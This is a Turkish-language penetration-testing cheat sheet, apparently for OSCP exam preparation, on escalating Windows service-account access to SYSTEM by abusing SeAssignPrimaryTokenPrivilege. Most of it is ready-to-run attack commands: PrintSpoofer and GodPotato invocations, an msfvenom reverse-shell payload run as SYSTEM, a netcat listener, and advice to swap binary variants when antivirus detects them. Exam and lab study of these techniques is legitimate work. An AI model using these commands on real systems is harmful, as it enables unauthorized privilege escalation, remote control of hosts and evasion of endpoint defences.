FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

SeAssignPrimaryTokenPrivilege Abuse — Primary Token ile SYSTEM'e Yukselme

SeAssignPrimaryTokenPrivilege; bir process'e primary token atayabilme yetkisidir. Genellikle SeImpersonate ile birlikte servis hesaplarinda bulunur ve ayni Potato ailesi (PrintSpoofer/GodPotato) ya da CreateProcessAsUser tabanli aractar ile SYSTEM'e yukseltilir.

Bilgi: ÖN KOŞULLAR
  • whoami /priv ciktisinda SeAssignPrimaryTokenPrivilege = Enabled (cogunlukla SeImpersonate ile birlikte)
  • Servis hesabi shell (LOCAL/NETWORK SERVICE, scheduled task hesabi)
┌──

Komutlar

cmd ✓ EXAM-SAFE user
whoami /priv | findstr /i "SeAssignPrimaryToken SeImpersonate"
SeAssignPrimaryToken ve SeImpersonate durumunu kontrol eder. Ikisinden biri Enabled ise Potato ailesi uygulanabilir. HackTricks — Abusing Tokens (SeAssignPrimaryToken)
printspoofer ✓ EXAM-SAFE user
C:\Windows\Temp\ps.exe -i -c cmd
PrintSpoofer SeImpersonate'in yaninda SeAssignPrimaryToken ortaminda da calisir; interaktif SYSTEM cmd verir. HackTricks — SeImpersonate / SeAssignPrimaryToken
godpotato ✓ EXAM-SAFE user
C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"
GodPotato; SeAssignPrimaryToken/SeImpersonate tasiyan servis hesaplarinda SYSTEM elde etmek icin en uyumlu secenek. HackTricks — SeImpersonate / SeAssignPrimaryToken
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe
SeAssignPrimaryToken araci (GodPotato/PrintSpoofer) ile SYSTEM olarak calistirilacak reverse shell payload'u uretir. TJnull PWK guide — msfvenom payloads
printspoofer ✓ EXAM-SAFE user
C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\rev.exe"
SeAssignPrimaryToken ortaminda PrintSpoofer ile SYSTEM reverse shell tetikleme (non-interaktif shell'ler icin). HackTricks — SeImpersonate (PrintSpoofer)

Ayricaligin Anlami

SeAssignPrimaryTokenPrivilege (“Replace a process level token”), bir process’in baslatilan child process’ine primary token atamasina izin verir. Tek basina, ele gecirilmis bir SYSTEM token’i bir process’e atanip o process baslatilarak SYSTEM koduna donusur. Pratikte bu ayricalik SeImpersonatePrivilege ile birlikte servis hesaplarinda (LOCAL SERVICE, NETWORK SERVICE, scheduled task identity) gorulur.

Tespit

whoami /priv ciktisinda SeAssignPrimaryTokenPrivilege = Enabled arayin. Cogunlukla SeImpersonate de yanindadir; bu durumda dogrudan Potato ailesine (win-seimpersonate-potato) gecin.

Sömürü

Potato ailesi (PrintSpoofer, GodPotato, RoguePotato, EfsPotato) icsel olarak CreateProcessWithToken (SeImpersonate) ya da CreateProcessAsUser (SeAssignPrimaryToken) kullanir. Yani ayni binary’ler her iki ayricalik icin de gecerlidir:

  • GodPotato — surum uyumlulugu en genis; ilk tercih.
  • PrintSpoofer — Spooler acik orta-surum sistemlerde stabil; CreateProcessAsUser yolunu da kullanabilir.
  • Interaktif shell yoksa once msfvenom ile rev.exe uretip Potato’nun -c/-cmd parametresiyle SYSTEM olarak calistirin; Kali’de nc -lvnp {{LPORT}}.

Eski/Manuel Yontem

Tarihsel olarak bu ayricalik CVE-2017 oncesi Tater/RottenPotato ile somuruluyordu; modern lab’larda Potato ailesi yeterlidir. Ayrica scheduled task / WMI ile primary token atayan ozel PoC’ler de mevcuttur ancak OSCP’de Potato binary’leri standarttir.

Notlar

  • SeImpersonate yok ama SeAssignPrimaryToken varsa, CreateProcessAsUser tabanli yolu kullanan PoC’leri tercih edin (PrintSpoofer bunu destekler).
  • Binary’leri yazilabilir dizine (C:\Windows\Temp) koyun; AV yakalarsa farkli .NET varyantlarini deneyin.
  • Teyit: SYSTEM shell’de whoamint authority\system.
┌──

Kaynaklar

0/15 set